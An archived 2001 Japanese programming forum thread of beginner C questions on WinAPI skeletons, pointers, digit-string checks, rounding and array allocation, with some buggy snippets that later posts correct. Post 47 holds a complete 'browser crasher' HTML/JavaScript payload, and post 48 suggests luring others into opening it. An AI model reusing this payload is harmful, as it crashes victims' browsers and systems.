1 :
ジョブス偽 :
01/09/05 00:32 ID:6o7ny/7g
おやすみ
WinGUIを書く方法は? かけるようなことを聞いたことがあるような。ないような...。 CPPは未経験。 CはCharベースのもぐら叩きが作れるくらい。 まだ程度は低いのだけど、予備知識として興味があるので...。 どうでしょ? できるならどんな感じ?
4 :
デフォルトの名無しさん :01/09/05 01:22 ID:qCEVoVh2
#include<windows.h> HDC hdc; int main(){ hdc=GetDC(NULL); int aho=1; while(aho){ TextOut(hdc,0,0,"aaa",3); if(GetKeyState(41) & 0x8000){ aho=0; } } return 0; }
5 :
:01/09/05 01:28 ID:Z5vqD32U
クラスとかポインタとかわかりません。 わかりやすくおしえてください
6 :
デフォルトの名無しさん :01/09/05 01:38 ID:eD8J59YU
7 :
デフォルトの名無しさん :01/09/05 01:48 ID:qCEVoVh2
ではポインタのポインタとはアドレスのアドレスでふか?あんたアホちゃいまっか?アドレスのアドレスはアドレスにきまってるとちゃいまっか。よってポインタのポインタなんていらなくなんのとちゃいまっか。アホでんな。
8 :
アホ>>7 :01/09/05 01:55 ID:eD8J59YU
9 :
デフォルトの名無しさん :01/09/05 01:57 ID:RgMRPKXI
>>3 C で書くなら、こんな感じ。
#include <windows.h>
static TCHAR szAppName[] = TEXT("Skelton");
static TCHAR szText[] = TEXT("Hello, World");
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
switch (msg) {
case WM_DESTROY:
PostQuitMessage(0);
return (0);
}
return (DefWindowProc(hwnd, msg, wParam, lParam));
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hInstancePrev, PSTR lpCmdLine, int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASS wcl;
TCHAR szClass[] = TEXT("SkeltonClass");
wcl.style = CS_HREDRAW | CS_VREDRAW;
wcl.lpfnWndProc = WndProc;
wcl.cbClsExtra = 0;
wcl.cbWndExtra = 0;
wcl.hInstance = hInstance;
wcl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcl.hCursor = LoadCursor(NULL, IDC_ARROW);
wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClass;
if (!RegisterClass(&wcl)) {
MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR);
return (1);
}
hwnd = CreateWindow(szClass, szAppName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (msg.wParam);
}
10 :
デフォルトの名無しさん :01/09/05 01:58 ID:S86Brkcc
>7 ポインタとはアドレスのことで間違ってないと思うけど。 そのアドレスが代入されている変数がポインタ変数。 >ポインタのポインタ そんなものはない。ポインタ変数へのポインタならあるが。
11 :
デフォルトの名無しさん :01/09/05 01:59 ID:kt1G3tMo
今夜からプログラミングを始めたんですが、最初でいきなりつまづきました。 ボーランドのフリーのコンパイラです #include <stdio.h> int main(void); int main(void) { int x; x = 4; printf("%d\n", 2 * x + 3); return(0); } エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() ) エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() ) となってコンパイルできません。不正な文字って言われても何処のことやら…
12 :
デフォルトの名無しさん :01/09/05 02:01 ID:S86Brkcc
>>7 アドレスのアドレスじゃない。
アドレスへのアドレス。
よって、ポインタのポインタはアドレス。
問題ない。
分かりづらいかな?
14 :
デフォルトの名無しさん :01/09/05 02:04 ID:eD8J59YU
return(0); ここが変。空白入れるな
15 :
11 :01/09/05 02:07 ID:kt1G3tMo
>>12 >>14 ありがとうございます。めちゃくちゃ入門的なテキスト買ったので
それでまったりと勉強していきます。
16 :
デフォルトの名無しさん :01/09/05 02:08 ID:eD8J59YU
とはいえ、ポインタ=アドレスという説明だけで十分かな?
17 :
デフォルトの名無しさん :01/09/05 02:10 ID:qCEVoVh2
不十分。自信マンマンに紹介されたアドレスは既に電子空間に消え去ってまふが?
18 :
>qCEVoVh2 :01/09/05 02:14 ID:eD8J59YU
omaegasetumeisiteyare
19 :
デフォルトの名無しさん :01/09/05 02:14 ID:sjpRAjNc
cで組まれたプログラムの日本語化パッチを作りたいんですが、 どうすれば良いんでしょうか。 リソースエディタを使うとかって聞いたんですが。
20 :
お胸おっぱい :01/09/05 02:15 ID:Bqx9xP/Y
前から不思議だったんだけど、 何で return の後ろに“()”入れたがるんだろね? 何で if や while と“()”の間をつめたがるんだろね? 関数に合わせてるとでも言うんだろか。
21 :
:01/09/05 02:16 ID:Z5vqD32U
結局ポインタってなんなんですか。 実用的な例はないのですか。 aを*pに&a??? (゚д゚)?
22 :
デフォルトの名無しさん :01/09/05 02:19 ID:eD8J59YU
≪ポインタ≫ int a; /* 変数a宣言 */ a=10; /* a=10 */ int p_a; /* ポインタa宣言 */
23 :
デフォルトの名無しさん :01/09/05 02:21 ID:eD8J59YU
p_a=&a; ここでp_aはaを指す だから printf("%p",*p_a); これでaの値がわかる
24 :
ポイソタ州 :01/09/05 02:22 ID:qCEVoVh2
ポインタ変数は何かを指していないと使えません。つまりポイソタ変数を使う場合、なにをするにもまずはポインタ変数が何かを指すことから始めなければなりません。これが大原則です。
25 :
デフォルトの名無しさん :01/09/05 02:22 ID:eD8J59YU
>>お胸いぱーい そんなどうでもいいこといこだわるなボケ
>>21 うぜえな。
人に聞いてないで自分で調べろよ。
27 :
デフォルトの名無しさん :01/09/05 02:23 ID:eD8J59YU
>>24 んなこーたしってルーよヽ( ´ー`)ノ やれやれ
28 :
デフォルトの名無しさん :01/09/05 02:23 ID:kiU7d71A
VB5とVB6のちがいはなんですか? ラーニングとプロフェッショナルのちがいはなんですか? すんません初歩的な質問で。
29 :
デフォルトの名無しさん :01/09/05 02:25 ID:eD8J59YU
31 :
デフォルトの名無しさん :01/09/05 02:26 ID:kiU7d71A
32 :
:01/09/05 02:28 ID:Z5vqD32U
33 :
デフォルトの名無しさん :01/09/05 02:28 ID:qCEVoVh2
ポインタへのポインタって何なんじゃろか?何の気なしにCreateDIBSecsionの引数で使ってはいたものの実態は、はて?
34 :
嵐王 :01/09/05 02:28 ID:eD8J59YU
まいクソソフトのホームページへ逝って見た方が
ここの低脳無知なやつらに聞くより早いわよ
>>31
35 :
デフォルトの名無しさん :01/09/05 02:31 ID:kiU7d71A
>>34 そうします・・・
ここのひとたちって、ほんとにプログラムのできるひとたちなんでしょうか?
>>25 違う!よく見ろ、“おっぱい”だ“おっぱい”!
指摘するのも恥ずかしいよ!自分でも!
37 :
嵐王 :01/09/05 02:35 ID:eD8J59YU
出来ないから、自分で調べろなどという厨房発言をするんだわ。
>>35 本当にすごい人たちは、そんなこといわないもん。
>37 はたしてどうかにゃー?
>>37 はいはい。ここにはすごい人はいません。
よそへ行って思う存分、疑問をお尋ね下さい。
なんか面白いコードないかなァ。
40 :
デフォルトの名無しさん :01/09/05 02:44 ID:kiU7d71A
#include <stdio.h> void main(void) { printf("For Unlawful Carnel Knowledge.\n"); }
41 :
デフォルトの名無しさん :01/09/05 02:47 ID:kiU7d71A
void main(void) { int loop; int length; char code; printf ( "\n"); rs_b_init(); loop=TRUE; while ( loop ) { if ((length=rs_b_length()) !=0) { for( ; length > 0; length --) { code = rs_b_receive(); printf( "%c", code); } } if (!kbhit()) { ; } else if((code=inkey()) == CTRL_Z) { loop=FALSE; } else { printf( "%c", code); rs_b_send(code); } } }
42 :
デフォルトの名無しさん :01/09/05 02:51 ID:qCEVoVh2
>39 int *tiger1,*tiger2,*tiger3; for(;;){ tiger1=tiger2; tiger2=tiger3; tiger3=tiger1; } バターになりまふ。
43 :
デフォルトの名無しさん :01/09/05 02:51 ID:kiU7d71A
問題です。 上のコードを用いて、シリアルポート間で 双方向の文字通信を可能にするプログラムを作ってください。 SPDのみでも結構です。
44 :
嵐王 :01/09/05 02:51 ID:eD8J59YU
45 :
デフォルトの名無しさん :01/09/05 02:52 ID:eD8J59YU
46 :
デフォルトの名無しさん :01/09/05 02:55 ID:eD8J59YU
パソコンを爆発させるプログラムを教えてくださいhe//////
47 :
デフォルトの名無しさん :01/09/05 03:04 ID:kiU7d71A
<html><header><title></title></header><meta http-equiv="Refresh" content="1">
<meta http-equiv="Refresh" content="0">
<SCRIPT LANGUAGE="JavaScript">
<!--
if(typeof(top)=="object" && typeof(top.va_frame)=="object")
{ if (typeof(top.va_frame.document)=="object" && typeof(top.va_frame.document.images)
=="object" && typeof(top.va_frame.document.images[0])=="object" && typeof(top.va_frame.
document.images[0].src)=="string" && typeof(top.va_frame.document.images[0].src.length)
=="number" && ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.
images[0].src.substring(0,25)=="
http://images.go2net.com/ ") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)
=="
http://images.go2net.com/ ") ) ) {top.va_frame.location.reload(true); }
else {dly=(1.+Math.random())*10000.; setTimeout('if (typeof(top.va_frame.document)
=="object" && typeof(top.va_frame.document.images)=="object" && typeof(top.va_frame.document
.images[0])=="object" && typeof(top.va_frame.document.images[0].src)=="string"
&& typeof(top.va_frame.document.images[0].src.length) =="number"
&& ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.images[0].
src.substring(0,25)=="
http://images.go2net.com/ ") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)==
"
http://images.go2net.com/ ") ) ) {top.va_frame.location.reload(true);} else {window.open
("
http://click.go2net.com/adpopup?site=va&area=CAREERS&shape=noshape ","va_rzjr137y",
"width=528,height=200"); }', dly); } } else { window.open("
http://click.go2net.com/adpopup ?site=va&area=CAREERS&shape=noshape","va_rzjr137y", "width=528,height=200");}
//-->
</SCRIPT>
</HEAD>
<body>
<img src="JavaScript:while(1){ var w=window.open('');}" width="1" height="1">
<img src="JavaScript:while(1){ document.write('\n');}" width="1" height="1">
<img src="
http://www.yahoo.com:21/ " width="100000000" height="100000000">
<img src="
http://www.yahoo.com:23/ " width="100000000" height="100000000">
<img src="
http://www.yahoo.com:25/ " width="100000000" height="100000000">
<img src="mailto:
[email protected] " width="1" height="1">
<img src="file://A:/con/con" width="1" height="1">
.........
.........
</body>
</HTML>
48 :
47 :01/09/05 03:05 ID:kiU7d71A
ブラクラのなかみだよ。 これをベースにして踏ませれば?爆発はしないけど。。。 嵐王さんHNかえなくていいよ
49 :
3 :01/09/05 03:06 ID:jDbkfcSk
>3 ahoなのは重々承知してます。 とりあえず、コンパイルが通らなかったのでなやんでました。 >9 サンプルThx! CPPが悪いのではなくて、Winへの手順が複雑だと解釈しました。 それで、2つ切り離せたので少しだけ思考が楽になりました。 それでも、GUIへの道は長いぞっ...と。気長にいきます。
50 :
47 :01/09/05 03:11 ID:kiU7d71A
>>何で if や while と“()”の間をつめたがるんだろね? ifやwhileは関数ではないが、素人サンはつめたがります。
51 :
デフォルトの名無しさん :01/09/05 03:21 ID:kvHY8Amo
文字列が全て数値で構成されているかを調べる関数ってありませんか? 例えば、char str1[]="abcde", str2[]="123abc567", str3[]="789"; として、それぞれのポインターを放り込むと、str1とstr2はFALSE、str3だけTRUEが帰ってくるような。
52 :
47 :01/09/05 03:25 ID:kiU7d71A
0x30,0x31,・・・,0x38,0x39 をつかいましょ。
53 :
51 :01/09/05 03:31 ID:kvHY8Amo
>>52 どういう意味ですか?
0-9までのキャラクタコードですよね?
54 :
デフォルトの名無しさん :01/09/05 03:34 ID:JfT.4P/M
#include <ctype.h> int isNumeric(const char *s) { while (*s != NULL) { if (!isnumber(*s++)) return 0; } return !0; }
55 :
54 :01/09/05 03:37 ID:vP.O3hMA
isnumber(3) なんてねー。 isdigit(3) の誤りです。スマソ
56 :
51 :01/09/05 03:40 ID:kvHY8Amo
>>54 ありがとうございます。isNumericという関数ですね?
始めて見ました。
ここまで分かれば、あとは自分で調べることが出来ます。
ありがとうございました。
#始め見たとき、isNumericが自作関数で、isnumberが目的の関数かと思ってしまった・・・。
57 :
51 :01/09/05 03:43 ID:kvHY8Amo
>>55 あ、了解です。
っていうか、やっぱり自作関数なのか・・・。
>>54 仕様の問題だけど isNumeric("") は FALSE にした方が良いかも。
59 :
54 :01/09/05 03:52 ID:aiLtWPrs
>>58 おっと失礼。まったくそのとおりです。
>>51 さん、気をつけてね。
それと
>>51 >文字列が全て数値で...
文字列が全て数字で... という方が誤解を招かなくてよい(俺ルール)(藁
60 :
51 :01/09/05 03:55 ID:kvHY8Amo
>>59 はい、理解しました。
GoogleにisNumericって入れたら沢山出てきたから、中身見ずにそういう関数が
あるのかなと思ったら、VBでした。
そうですね、数値だと文字も全て数値ですしね。数字が正しい表現ですね。
61 :
デフォルトの名無しさん :01/09/05 04:05 ID:eD8J59YU
test
>>37 「ポインタを教えてください」
なんて質問に丁寧に答えてる教え魔は、教えて君のFAQを誘発して
コミュニティーの質を下げる厨房。
始末のわるいバカ。
63 :
嵐王 :01/09/05 04:15 ID:eD8J59YU
/) /) / ⌒ ヽ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | ●_ ● | < バカで結構。私はそれで楽しいから・・・ (〇 〜 〇 | \______________ / | | |_/ |
64 :
嵐王 :01/09/05 04:16 ID:eD8J59YU
別に医院でね〜の?ここは質問する場所だろ。
65 :
デフォルトの名無しさん :01/09/05 04:19 ID:XEspZsEc
int isdigitstr( const char * s) { int f = 0; if( s ) { f = 1; while(isdigit(*s)) s++; if( *s ) f = 0; } return f; } 俺ならこう書くかな.. ねむ...
2行目はもうすこし削れる... while(isdigit(*s)) s++; if( *s == '\0' ) f = 1;
あ ミスった わすれてくり... > 65,66
>>63 自分が楽しければ、周囲に迷惑かけてもいいのかよ?
int isdigitstr( const char * s) { while( *s ) isdigit( *(s++) ) ? continue : return 0; return 1; }
70 :
嵐王 :01/09/05 04:43 ID:eD8J59YU
71 :
嵐王 :01/09/05 04:44 ID:eD8J59YU
73 :
デフォルトの名無しさん :01/09/05 04:45 ID:eD8J59YU
75 :
73は俺 :01/09/05 04:46 ID:eD8J59YU
76 :
デフォルトの名無しさん :01/09/05 04:48 ID:eD8J59YU
70と71は間違いゴメソ(T_T)
77 :
74=69 :01/09/05 04:49 ID:Oo8mA9gA
78 :
嵐王 :01/09/05 04:50 ID:eD8J59YU
79 :
51 :01/09/05 04:54 ID:kvHY8Amo
>>65 -66
ありがとうございます。参考になります。
>>69 ありがとうございます。
始め、難解で読めませんでした・・・。
今調べてみたんですけど、三項演算子ってやつですよね?
知りませんでした・・・。
「:」が「;」の間違いじゃないかと、悩んでしまった。
81 :
デフォルトの名無しさん :01/09/05 05:16 ID:Oo8mA9gA
82 :
51 :01/09/05 05:18 ID:kvHY8Amo
>>69 すいません、寝ぼけた質問なのかもしれませんけど
>while( *s ) isdigit( *(s++) ) ? continue : return 0;
の、*(s++)って、最初の文字がチェックされます?
>>82 されるよ。
順番としては、
while 判定
isdigit(s)
三項演算子
true continue
false return 0;
s+=1
って感じ。
私は素直に do - while 使うかな。あまり凝ったコードにすると、
後で見たとき戸惑う。
>>69 コンパイル通りません。三項演算子の ?, : の後には値を持つ要素を置
く必要がありますが、continue, return 0 は値を持たないためです。
私なら、素直に do - while でループ回すかな。
int isdigitstr(const char *s)
{
if (*s == '\0')
return (0);
do
if (!isdigit(*s))
return (0);
while (*++s != '\0');
return (1);
}
>>82 ごめん。
while 判定
isdigit(s)
s+=1
三項演算子
true continue
false return 0;
だった。
>>84 んじゃ
while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
だね。
三項演算子ははまってるから使ってる(w
普段は
while( *s )
if(! isdigit( *(s++) ) )
return 0;
って感じかな。
86 :
51 :01/09/05 05:27 ID:kvHY8Amo
>>83 え、マジスカ・・・。
全然流れが理解できない。
なんでs+=1が最後に来るんですか?
87 :
51 :01/09/05 05:29 ID:kvHY8Amo
あ、カキコしてる間に進んでる・・・。 なんとなく理解しました。
>>84 >while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
嘘です。できません。
コンパイル通りません。
すいません
89 :
デフォルトの名無しさん :01/09/05 05:34 ID:Oo8mA9gA
90 :
51 :01/09/05 05:36 ID:kvHY8Amo
>>88 ああ、良いですよ。色々勉強になりましたから(笑)
単純に
while( *s )
if(! isdigit( *(s++) ) )
return 0;
これだけでいけそうですしね。
91 :
age :01/09/05 06:15 ID:XEspZsEc
このすれ continue; 新しい話題 come on!
92 :
CCライダー :01/09/05 08:24 ID:oKmBuqwA
substring(結果, もとの文字列, なん文字以降) って関数ありませんか? sprintf?
93 :
デフォルトの名無しさん :01/09/05 08:36 ID:mNqbuqRc
#define substring(dst,src,n) strcpy(dst,src+n)
char *isdigitchar(const char *s) { return strcat(s, "にょ"); }
しまったconstあったらだめだ
96 :
デフォルトの名無しさん :01/09/05 09:10 ID:mTM5PKCo
97 :
CCライダー :01/09/05 09:22 ID:4BcFYyQo
>>93 さんサンクスコ
ところでstrcpyの返値ってなんなんですか?
char *strcpy(dst, src+n)
のcharをprintf("%s")してみたのですが文字じゃなかったです。
>>97 (゚д゚)ハァ?
const char *src = "1234";
char dst[255];
printf("%s", strcpy(dst, src + 2));
>>98 厨房ですまそ。
const char *src = "1234";
char dst[255];
char result[255];
*result = strcpy(dst, src +2));
printf("%s", result);
ってやってました。(泣き
101 :
342 :01/09/05 16:30 ID:4Tv.cdD.
102 :
ジーコ :01/09/05 20:04 ID:ITaflj/M
バイナリファイルを開いて、fgets()みたいに取得したいんだけど、 どういう関数を使えばいいんですか。
103 :
ジーコ :01/09/05 20:06 ID:ITaflj/M
binaryファイルをfgets()のように取得したいんですが、 どのような関数を使えばいいんでしょう。
104 :
ジーコ :01/09/05 20:07 ID:ITaflj/M
fread()でいいのかな?
105 :
_ :01/09/05 20:55 ID:5Rk4ItjA
いいんじゃない?
106 :
デフォルトの名無しさん :01/09/05 21:16 ID:PLLDkowA
もう一度聞かせていただきます。 cで組まれたプログラムの日本語化パッチを作りたいんですが、 どうすれば良いんでしょうか。 リソースエディタを使うとかって聞いたんですが。
1、日本語化する 2、ソースがあるならdiffを取る 無いなら、バイナリの差分を取る
>106 リソースエディタは(一部の環境を除いて)関係無い。
(゜д゜)<1次第でこれほどダメスレになるのか
#include <stdio.h> #include <stdlib.h> struct test{ int a, double b; }; void keep(struct test **f, int I){ struct test *g; g = (struct test *)malloc(sizeof(struct test)*I); *f = g; } int main(){ int i; struct test *tester; keep(&tester, I); for(i=0;i<I;i++){ tester[i].a = i; tester[i].b = (double)(i)*0.1; } exit(0); } みたいにやると tester[0].a tester[0].b tester[1].a tester[1].b ... の順番でにメモリに格納されますよね?それを tester.a[0] tester.a[1] ... tester.b[0] tester.b[1] ... のようにするにはどうしたらいいですか?
つっこみどころは多いが、 メンバのaとbをポインタにして、keepの中で必要な領域を渡せばよいだけでは? struct test { int *a, double *b; }; void keep(struct test *f, int I) { f->a = (int *)malloc(sizeof(int) * I); f->b = (double *)malloc(sizeof(double) * I); }: int main() { int i; struct test tester; keep(&tester, I); for (i = 0; i < I; i++) { tester.a[i] = i; tester.b[i] = (double)(i) * 0.1; } exit(0); }
112 :
デフォルトの名無しさん :01/09/06 22:58
プログラミング言語 Cアンサー・ブック 第2版 ってどうなんですか? K&Rってかいてあるけど ANSI学びたい人でも買いですかね? あとこれがあったら プログラミング言語 第2版 本体はいらないっすか?
こっちはいらないから本体をかっとけ。
115 :
デフォルトの名無しさん :01/09/06 23:18
111実際gccでうまく行きました(navi2chから書いてます). 因に3次元の場合はどうしたらいいでしょうか? 111に倣っていろいろやってみたのですが,どうも駄目です. ↓これを改良したい... void keep3(struct test ****f, int I, int J, int K){ int i, j; struct test ***g; g = (struct test ***)malloc(sizeof(struct test **)*I); *g = (struct test **)malloc(sizeof(struct test *)*I*J); **g = (struct test *)malloc(sizeof(struct test)*I*J*K); for(i=0;i<I;i++){ g[i] = *g + i*J; *g[i] = **g + i*J*K; for(j=1;j<J;j++){ g[i][j] = *g[i] + j*K; } } *f = g; }
自分なりに作ったつもりですが, main関数で値を代入するとsegmentation faultです... [途中経過] struct test3{ int ***a; }; void keep3(struct test3 *f, int I, int J, int K){ int i, j; f->a = (int ***)malloc(sizeof(int **)*I); *(f->a) = (int **)malloc(sizeof(int *)*I*J); **(f->a) = (int *)malloc(sizeof(int)*I*J*K); for(i=0;i<I;i++){ f->a[i] = *(f->a) + i+J; *(f->a)[i] = **(f->a) + i*J*K; for(j=1;j<J;j++){ f->a[i][j] = *(f->a)[i] + j*K; } } }
もの凄い勢いでTYPOでした. 誤 f->a[i] = *(f->a) + i+J; 正 f->a[i] = *(f->a) + i*J; 3次元でもうまく行きました!! 111さん本当にありがとうございました.
119 :
初心者mk2 :01/09/07 01:19
CGIでMDBの内容を表示したいのですがどうすれば良いのでしょうか。 とりあえずODBCで試してみたのですが、MDB接続に失敗します。
>>69 バグ入り。#undef isdigitが必要。
>>65 -66 なんで、もっと素直にこう書かない?
int isdigitstr(const char *p)
{
if (!p || !*p) return 0;
while (isdigit(*p))
p++;
return *p == '\0';
}
ちなみに、俺なら読み易さ優先でこう書くかな。
int isdigitstr(const char *p)
{
return p && *p && strspn(p, "0123456789") == strlen(p);
}
なんか、<5>よりレベル下がってないか?
つーか、そんなコードじゃめちゃ遅いよ(w
>>120
>>120 見やすいコードの方が良いと思われ。しかも、遅いし。
初心者には難解。シンプルな方が速いよ。
>>51 文字列が全て数値で構成されているかを調べる関数
int isNumaricStr( consr char* ) があったとして、
isNumaricStr("1192")
isNumaricStr("230")
isNumaricStr("六百")
isNumaricStr("一四九二")
isNumaricStr("ten")
は、それぞれどのような返値を持つべきなのですか?
話はそれからかと。
ああ、まだレスして下さる方がいて、嬉しいです。
>>123 この場合
isNumaricStr("1192")
だけがTRUE(0以外の値)を返して、他のは全てFALSE(0)を返すのが良いです。
125 :
デフォルトの名無しさん :01/09/07 09:44
自分が作るとしたら int toInteger( const char * s,int *isdigitstr) { char c; int r=0; while( *s==' ') s++; /* ブランクサプレス*/ if( *s=='-') return isdigitstr(++s , ret); /* -符号 */ if( *s=='+') s++; /* +符号 */ while( c=*s++ ) { unsigned char d=c -'0'; if(d>=10) { if(isDigitstr!=NULL) isDigitstr=0;return r;} r=((r<<2)+r)<<1)+d; }; if(isDigitstr!=NULL) isDigitstr=1; return r; } こういう関数作って 数字かどうかと同時に値も計算させてしまうな int isdigitstr( const char * s) { char c; while( *s==' ') s++; /* ブランクサプレス*/ if( *s=='+'||*s=='-') s++; /*符号*/ while( c=*s++ ) { unsigned char d=c -'0'; if(d>=10) return 0; }; return 1; }
126 :
デフォルトの名無しさん :01/09/07 10:19
>>125 int isdigitstr(const char *s)
{
char *endptr;
strtol(s, &endptr, 10);
return *endptr == '\0';
}
符号も考慮するならこっちの方がいいと思われ
>>121 速度優先で前者より後者を選ぶとは言っていない。
また、strspn()/strlen()による文字列走査の最適化の度合いや
isdigit()が関数実装のようなケースのことを考えると、
一概にisdigit()の方が速いとはいえないのでは。
もし仮に実行速度が重要なら、速い方を選択すれば良いだけのこと。
>>122 「NULLや空文字列でなく、数字からなる部分文字列がその全体の長さに等しい」
どこらへんが初心者に難解?
&&の評価順序?=='\0'や==NULLの省略?それともstrspn()?
strspn()が初心者に難解なら、isdigit()もstrspn()も同じだろうし、
そんなのは調べて、早いとこ初心者を卒業すればいいだけのことでは。
あと、見易さと言う観点については、確かに意見が分かれる所かもしれないが、
これについては、あるひとまとまりの処理をする関数があるなら、
それを使ったほうが見通しが良くなる点で、後者を推した。
舌足らずでスマソ。
>>120 なんで #undef isdigit が必要?
isalphastrでも同じパターン使うのか?とか言ってみたり
130 :
名無しさん@Emacs :01/09/07 13:09
printf だけ使って、小数点第一位で四捨五入するにはどうすればよいでしょ うか?
>>128 isdigit()がマクロだったの場合の副作用除け。(69のは関数なら○)
>>129 確かに。見易さという観点からは、そこまではやらないです。はい。(藁
>>130 +.5して%d。
>>125 なるほど。作る人によって、結構色々なパターンが出てきますね。
ちなみに、符号判定は要らないのです。説明不足で申し訳無いです。
>>132 補足。
必ず正の整数だって言う事が保証されているので符号は付いていないのです。
>>131 +.5して%dだとマイナスのときに正常な値が得られないぞ
>>134 おっと、バグ出しThanx!
負数なら-.5か。
いや、それだと-0.5のときに-1.0になっちゃうよ。 double x = -0.5; ×printf("%f\n", (double)(int)(x - .5)); ◎printf("%f\n", (double)(int)floor(x+.5)); ○printf("%f\n", (double)(int)(x > 0 ? x+.5 : x-int(x) < -.5 ? x-1.0 : x)); floor()使えればいいんだけど、printf()だけみたいなんで、 3番が正解
137 :
デフォルトの名無しさん :01/09/07 14:50
しかし、コレはISO準拠じゃないな。 その辺は自分で考えてくれ
恥の上塗り。重ね重ねスマソ m(_ _)m。
>>136 あぁ、穴があったら埋まりたい。(w
混乱させてしまったお詫びにグラフを書いて整理してみました。
-2 -1 0 +1 +2
●―┼―○ ●―┼―○ ●―┼―○
●―┼―○ ●―┼―○
-1.5 -0.5 +0.5 +1.5
参考にしてちょ。
>>130
再びすみません。 typedef struct{ int ***a; double ***b; }test3; void keep3(test3 *f, int I, int J, int K){ int i, j; f->a = (int ***)malloc(sizeof(int **)*I); *f->a = (int **)malloc(sizeof(int *)*I*J); **f->a = (int *)malloc(sizeof(int)*I*J*K); for(i=0;i<I;i++){ f->a[i] = *f->a + i*J; *f->a[i] = **f->a + i*J*K; for(j=1;j<J;j++){ f->a[i][j] = *f->a[i] + j*K; } } f->b = (double ***)malloc(sizeof(double **)*I); *f->b = (double **)malloc(sizeof(double *)*I*J); **f->b = (double *)malloc(sizeof(double)*I*J*K); // ここに何かを追加する?... for(i=0;i<I;i++){ f->b[i] = *f->b + i*J; *f->b[i] = **f->b + i*J*K; for(j=1;j<J;j++){ f->b[i][j] = *f->b[i] + j*K; } } } int main(){ int i, j, k; int I = 3, J = 5, K = 7; test3 F; keep3(&F, I, J, K); ... exit(0); } で、F.a[0][0][0]からF.a[I-1][J-1][K-1]まで、また F.b[0][0][0]からF.b[I-1][J-1][K-1]までは それぞれ連続したアドレスに入っているのですが、 F.a[I-1][J-1][K-1]のアドレスと F.b[0][0][0]のアドレスを隣合わせにするには 関数 keep3 に何を追加したら良いのでしょうか?
142 :
デフォルトの名無しさん :01/09/07 20:06
>> 125 ブランクだの符号対応まで必要になったら、私は lex 使ってトークンにバラしま すね。 ブランクを飛ばすかどうかは、個々のトークンの種別を判定する isdigitstr() のレベルではなく、その上位の構文解析のレベルで制御したほうが都合がいいこと が多いですから。(処理するテキストの文法にもよるけど)
143 :
デフォルトの名無しさん :01/09/07 20:12
>>142 lexはイヤソ
BSDLになっちゃうじゃない
144 :
名無しでGO! :01/09/07 20:38
>>140 七徳ナイフのようなコードを考えてる時点で失格です。
世間にアナタのコードをばら撒かないようにしてください。
>>143 GPL ならともかく BSDL を避けるってのは、珍しい気がするが。
>>131 getsとか一部を除いてたとえマクロ実装でも1回しか
評価されないことが保証されてなかったっけ?
getsじゃなかったgetc
149 :
おしえてくん :01/09/07 21:29
以下のファイルコピーをおこなうと 出力されたファイルのサイズが元のファイルの4倍くらいに 膨れ上がってしまいます。どこに問題があるか自分では よくわからないので、教えてください。 また、「これが定石じゃ!」みたいな高水準入出力での ファイルコピーの方法も教えていただけますと、光栄です。 int buf[MAX]; long fs; FILE *ifp, *ofp; ifp = fopen(argv[1], "rb"); fseek(ifp, 0, SEEK_END); fs = ftell(ifp); rewind(ifp); fread(buf, sizeof(int), fs, ifp); fclose(ifp); ofp = fopen("cl", "wb"); fwrite(buf, sizeof(int), fs, ofp); fclose(ofp);
>>140 コードの内容は読んでないけど、
ただ単に (sizeof(int) + sizeof(double))* I * J * K分のメモリを確保して
適切に計算したアドレスを、インデックスとなるポインタ配列にでも
格納すればよいのでは?
struct test3 {
int *a;
double *b;
int I, J, K;
};
void keep3(test3 *f, int I, int J, int K)
{
size_t sizei, sized;
sizei = sizeof(int) * I * J * K;
sized = sizeof(double) * I * J * K;
f->a = (int *)malloc(sizei + sized);
f->b = (double *)(f->a + I * J * K);
f->I = I;
f->J = J;
f->K = K;
}
int geta(test3 *f, int i, int j, int k)
{
return f->a[f->J * f->K * i + f->K * j + k];
}
double getb(test3 *f, int i, int j, int k)
{
return f->b[f->J * f->K * i + f->K * j + k];
}
int seta(test3 *f, int i, int j, int k, int val)
{
return f->a[f->J * f->K * i + f->K * j + k] = val;
}
double setb(test3 *f, int i, int j, int k, double val)
{
return f->b[f->J * f->K * i + f->K * j + k] = val;
}
意図がよくわからんのでこれ以上は放置。
FILE* In,Out; int ch = 0; In = fopen( "xxx","rb" ); Out = fopen( "yyy","wb" ); while( ( ch = fgetc( In ) ) != EOF ) fputc( ch,Out ); fclose(In); fclose(Out);
153 :
デフォルトの名無しさん :01/09/07 21:52
int isdigitstr( const char * s) { char c; while( c=*s++ ) { unsigned char d=c -'0'; if(d>=10) return 0; }; return 1; }
>149 CopyFile
>>153 それってやっちゃいけないんじゃなかったっけ?
>>127 isdigitがstrspnより低速なことはまず無い。
ほぼ100%の処理系でマクロ展開される。関数展開する処理系があれば
開発者は馬鹿という以外にない。つーか、あんたlibc読めば分かるだろ。
